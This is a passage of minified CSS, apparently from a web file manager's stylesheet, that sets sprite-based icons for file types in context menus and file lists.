!important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -288px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-csproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -272px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-dtd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -256px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-h{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -240px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-ldf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -224px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-mdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -208px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-pdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -192px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-resx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -176px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-sln{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -160px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-sql{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -144px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-suo{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -128px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-vb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -112px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-vbproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -96px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-vcproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -80px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-vcxproj{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -64px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-xaml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -48px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-xml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -32px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-xsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px -16px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-xsl{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-48px 0 !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-bmp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -64px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-gif{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -48px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-ico{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px -32px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-jpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-65px -13px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-png{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-64px 0 !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-accdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -624px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-csv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -608px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-doc{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -592px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-docm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -576px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-docx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -560px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-dot{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -544px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-dotm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -528px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-dotx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -512px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-epub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -496px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-mdb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -480px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-mht{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -464px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-mpp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -448px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-mpt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -432px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-msg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -416px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-odp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -400px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-ods{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -384px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-odt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -368px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-pdf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -352px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-pps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -336px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-ppsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -320px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-ppt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -304px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-pptx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -288px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-pst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -272px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-pub{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -256px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-vcf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -240px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-vdw{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -224px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-vdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -208px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-vsd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -192px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-vsdx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -176px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-vss{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -160px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-vst{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -144px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-vsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -128px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-vtx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -112px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-xls{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -96px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-xlsb{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -80px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-xlsm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -64px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-xlsx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -48px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-xlt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -32px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-xltx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px -16px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-xps{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-81px 0 !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-cab{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -240px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-cer{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -224px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-chm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -208px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-cmd{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -192px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-dll{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -176px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-exe{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -160px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-fon{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -144px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-hlp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -128px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-ini{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -112px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-lnk{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -96px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-msi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -80px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-ps1{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -64px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-reg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -48px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-rtf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -32px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-txt{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px -16px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-vbs{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-97px 0 !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-3gp{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -160px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-avi{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -144px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-flv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -128px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-m4v{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -112px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-mkv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -96px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-mov{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -80px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-mp4{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -64px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-mpg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -48px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-ogg{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -32px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-webm{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px -16px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-wmv{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-112px 0 !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-asax{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -176px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-ascx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -160px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-ashx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -144px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-asmx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -128px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-aspx{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -112px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-config{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -96px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-cshtml{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -80px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-swf{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px -16px !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-xap{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-position:-128px 0 !important;}.context-menu-list .context-menu-item .font-icon.x-item-file.x-php{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/php_small.png");}.context-menu-list .context-menu-item .font-icon.x-item-file.x-txt,.context-menu-list .context-menu-item .font-icon.x-item-file.x-textile,.context-menu-list .context-menu-item .font-icon.x-item-file.x-inc,.context-menu-list .context-menu-item .font-icon.x-item-file.x-log{position:relative;width:16px !important;height:16px !important;margin-right:10px;background-size:inherit;vertical-align:middle;background-image:url("../../../images/file_icon/icon_file/0.file-16.png");background-position:-32px -112px;background-size:auto;background-position:-1px -1px !important;background-image:url("../../../images/file_icon/icon_file/txt_small.png");}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-item-small{position:relative;width:16px;height:16px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.x-item-file.small.x-folder{width:18px;height:18px;}.file-list-icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary-box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.file-list-list .file .ico .x-item-file,.file-list-split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:16px;height:16px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:16px;height:16px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task-tab .tabs .tab .x-item-file,.task-tab .tabs .tab img{position:relative;width:16px;height:16px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:16px;height:16px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:16px;height:16px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui-title .x-item-file{position:relative;width:16px;height:16px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit-tab .tabs .tab .name .x-item-file{position:relative;width:16px;height:16px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:16px;height:16px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file{position:relative;width:16px;height:16px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:16px;height:16px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:10px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.context-menu-list .context-menu-item img.x-item-file{position:relative;width:16px;height:16px;margin-right:4px;background-size:100% auto;vertical-align:middle;background:none;margin-right:10px;height:auto;}.aui-title 